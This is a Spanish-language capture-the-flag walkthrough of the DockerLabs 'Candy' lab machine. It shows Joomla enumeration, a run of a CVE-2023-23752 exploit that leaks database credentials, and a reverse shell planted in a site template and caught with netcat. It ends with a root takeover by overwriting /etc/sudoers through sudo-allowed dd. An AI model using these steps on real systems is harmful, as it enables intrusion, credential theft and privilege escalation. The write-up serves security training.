Post

DockerLabs - Candy

DockerLabs - Candy

nmap

1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Candy]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
80/tcp open  http
1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Candy]
└─$ nmap -sCV -p80 172.17.0.2                                     
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-robots.txt: 17 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /un_caramelo /libraries/ /logs/ /modules/
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home

análisis

Comenzamos revisando si existen recursos que podamos revisar en el puerto 80 del servidor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Candy]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .txt,.html,.php 
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 309] [--> http://172.17.0.2/images/]
/index.php            (Status: 200) [Size: 7515]
/media                (Status: 301) [Size: 308] [--> http://172.17.0.2/media/]
/templates            (Status: 301) [Size: 312] [--> http://172.17.0.2/templates/]
/modules              (Status: 301) [Size: 310] [--> http://172.17.0.2/modules/]
/plugins              (Status: 301) [Size: 310] [--> http://172.17.0.2/plugins/]
/includes             (Status: 301) [Size: 311] [--> http://172.17.0.2/includes/]
/language             (Status: 301) [Size: 311] [--> http://172.17.0.2/language/]
/README.txt           (Status: 200) [Size: 4942]
/components           (Status: 301) [Size: 313] [--> http://172.17.0.2/components/]
/api                  (Status: 301) [Size: 306] [--> http://172.17.0.2/api/]
/cache                (Status: 301) [Size: 308] [--> http://172.17.0.2/cache/]
/libraries            (Status: 403) [Size: 275]
/robots.txt           (Status: 200) [Size: 812]
/tmp                  (Status: 301) [Size: 306] [--> http://172.17.0.2/tmp/]
/LICENSE.txt          (Status: 200) [Size: 18092]
/layouts              (Status: 301) [Size: 310] [--> http://172.17.0.2/layouts/]
/administrator        (Status: 301) [Size: 316] [--> http://172.17.0.2/administrator/]
/configuration.php    (Status: 200) [Size: 0]
/htaccess.txt         (Status: 200) [Size: 6456]
/cli                  (Status: 301) [Size: 306] [--> http://172.17.0.2/cli/]
/server-status        (Status: 403) [Size: 275]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

Llegamos a la conclusión de que hay un Joomla desplegado, el cual tiene varios formularios de inicio de sesión, pero para ninguno de ellos tenemos credenciales para acceder:

Desktop View

En los analisis de nmap (que recupera el contenido del fichero robots.txt), vemos que hay un recurso llamado un_caramelo:

Desktop View

Si miramos el código fuente, encontramos unas credenciales:

Desktop View

Tratamos de acceder, pero nos daremos cuenta de que no son correctos tal y como los encontramos. Al tratarse de una cadena codificada en base64, debemos decodificarla:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Candy]
└─$ echo "c2**************" | base64 -d; echo
s***********

Teniendo la contraseña, ahora si podemos acceder como el usuario admin en los dos formularios:

Desktop View

El que nos interesa es el que permite gestionar el sitio web:

Desktop View

acceso incial (www-data)

Encontramos un recurso en GitHub, el cual permite obtener información de las credenciales de las bbdd de ciertas versiones de Joomla:

Desktop View

En el panel de ayuda nos indican que lo único que debemos indicar es la URL:

1
2
3
4
5
6
7
8
┌──(venv)(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Candy/CVE-2023-23752]
└─$ python3 exploit.py              
usage: exploit.py [-h] [-u URL] [-f]

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target url, http://localhost:8080
  -f, --file     Change mode: Multiple targets

Haciendo esto, vemos que recuperamos datos sensibles de la base de datos del laboratorio:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(venv)(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Candy/CVE-2023-23752]
└─$ python3 exploit.py -u http://172.17.0.2          
[615] admin (admin) - realmail@dockerlabs.com - Super Users
Site info
Sitename:TLuisillo_o
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False

Database info
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: lu************
DB name: joomla_db
DB prefix: umo54_
DB encryption: 0

Sin embargo, esto no lo podemos usar todavía, ya que el puerto 3306 no esta abierto en la máquina para que podamos acceder remotamente.

Por ello, nos enfocamos en la obtención de un RCE (Remote Code Execution) a traves de las plantillas que tiene disponibles la web:

Desktop View

Debido a que tenemos permisos para modificar las plantillas, podemos entablarnos una reverse shell indicando un script que se encargue de ello (ej: pentestmonkey php reverse shell):

Desktop View

Nos ponemos en escucha por el puerto 4444, y accedemos a una URL que no existe:

Desktop View

De esta manera, obtendremos la revershe shell en la maquina victima:

1
2
3
4
5
6
7
8
9
┌──(venv)(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Candy/CVE-2023-23752]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 38140
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Tratamos la tty para poder operar en una consola completamente interactiva:

1
2
3
4
5
6
7
8
9
10
$ script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@f558d5db82a1:/$ ^Z
zsh: suspended  nc -nlvp 4444
                                                                                                                                                                                                                   
┌──(venv)(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Candy/CVE-2023-23752]
└─$ stty raw -echo;fg             
[1]  + continued  nc -nlvp 4444
                               reset xtermwww-data@f558d5db82a1:/$ export TERM=xterm
www-data@f558d5db82a1:/$ export SHELL=bash

movimiento lateral (luisillo)

Revisamos los usuarios disponibles en la maquina a los que podamos apuntar para movernos lateralmente, pero el único usuario que cumple con estas condiciones es luisillo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
www-data@f558d5db82a1:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
_galera:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:102:MariaDB Server,,,:/nonexistent:/bin/false
messagebus:x:102:103::/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
luisillo:x:1001:1001:,,,:/home/luisillo:/bin/bash

Con las credenciales obtenidas anteriormente, nos conectamos a la base de datos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
www-data@f558d5db82a1:/home$ mysql -ujoomla_user -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 237
Server version: 10.11.8-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla_db          |
+--------------------+
2 rows in set (0.002 sec)

MariaDB [(none)]> use joomla_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [joomla_db]> show tables;
+-------------------------------+
| Tables_in_joomla_db           |
+-------------------------------+
...
| umo54_users                   |
...
+-------------------------------+
70 rows in set (0.001 sec)

Sin embargo, no encontramos mas información interesante, ya que el único registro de usuario es el de admin, del cual ya habíamos obtenido su contraseña:

1
2
3
4
5
6
7
MariaDB [joomla_db]> select * from umo54_users;
+-----+-------+----------+-------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
| id  | name  | username | email                   | password                                                     | block | sendEmail | registerDate        | lastvisitDate       | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+-------+----------+-------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
| 615 | admin | admin    | realmail@dockerlabs.com | $2y$10$f/d0sy442VzLXyaUhSmmOu.FBRYed2afncJFmYkuJwRwsJQoaGYbW |     0 |         1 | 2024-08-26 05:33:28 | 2025-10-27 18:31:17 | 0          |        | NULL          |          0 |        |      |            0 |              |
+-----+-------+----------+-------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
1 row in set (0.001 sec)

Por ello, seguimos investigando en la maquina, buscando ficheros que puedan pertenecerle al usuario luisillo:

1
2
3
4
5
www-data@f558d5db82a1:/home$ find / -user luisillo 2>/dev/null
/home/luisillo
/var/backups
/var/backups/hidden
/var/backups/hidden/otro_caramelo.txt

Encontramos un fichero que parece contener otras credenciales, las cuales posiblemente pertenezcan al usuario luisillo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
www-data@f558d5db82a1:/home$ cat /var/backups/hidden/otro_caramelo.txt 


                          _____             _             _           _                                           
                         |  __ \           | |           | |         | |                                          
  ______ ______ ______   | |  | | ___   ___| | _____ _ __| |     __ _| |__  ___     ______ ______ ______ ______   
 |______|______|______|  | |  | |/ _ \ / __| |/ / _ \ '__| |    / _` | '_ \/ __|   |______|______|______|______|  
                         | |__| | (_) | (__|   <  __/ |  | |___| (_| | |_) \__ \                                  
                         |_____/ \___/ \___|_|\_\___|_|  |______\__,_|_.__/|___/                                  



Aqui esta su caramelo Joven :)

<?php
// Información sensible
$db_host = 'localhost';
$db_user = 'luisillo';
$db_pass = 'lui******************';
$db_name = 'joomla_db';

// Código de conexión a la base de datos
function connectToDatabase() {
    global $db_host, $db_user, $db_pass, $db_name;
    $conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
    if ($conn->connect_error) {
        die("Conexión fallida: " . $conn->connect_error);
    }
    return $conn;
}

// Información adicional
echo "Bienvenido a Joomla en línea!";
?>

Tratamos de conectarnos como luisillo con las credenciales recién obtenidas, y vemos que son correctas:

1
2
3
4
www-data@f558d5db82a1:/home$ su luisillo
Password: 
luisillo@f558d5db82a1:/home$ whoami
luisillo

escalada de privilegios (root)

Al ir a revisar los permisos SUDO, vemos que podemos ejecutar la utilidad /bin/dd como cualquier usuario:

1
2
3
4
5
6
7
8
luisillo@f558d5db82a1:/home$ sudo -l
Matching Defaults entries for luisillo on f558d5db82a1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User luisillo may run the following commands on f558d5db82a1:
    (ALL) NOPASSWD: /bin/dd

Encontramos en GTFOBins que podemos aprovecharnos de esta herramienta para escribir en cualquier fichero:

Desktop View

Por ello, para poder conectarnos como root, agregamos al usuario luisillo al fichero /etc/sudoers, ya que de esta manera podremos ejecutar cualquier comando con privilegios de administrador:

1
2
3
4
5
6
7
8
9
10
11
luisillo@f558d5db82a1:/home$ echo "luisillo ALL=(ALL:ALL) ALL" | sudo dd of=/etc/sudoers
0+1 records in
0+1 records out
27 bytes copied, 0.0001833 s, 147 kB/s
luisillo@f558d5db82a1:/home$ sudo -l
[sudo] password for luisillo: 
User luisillo may run the following commands on f558d5db82a1:
    (ALL : ALL) ALL
luisillo@f558d5db82a1:/home$ sudo su
root@f558d5db82a1:/home# whoami
root

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.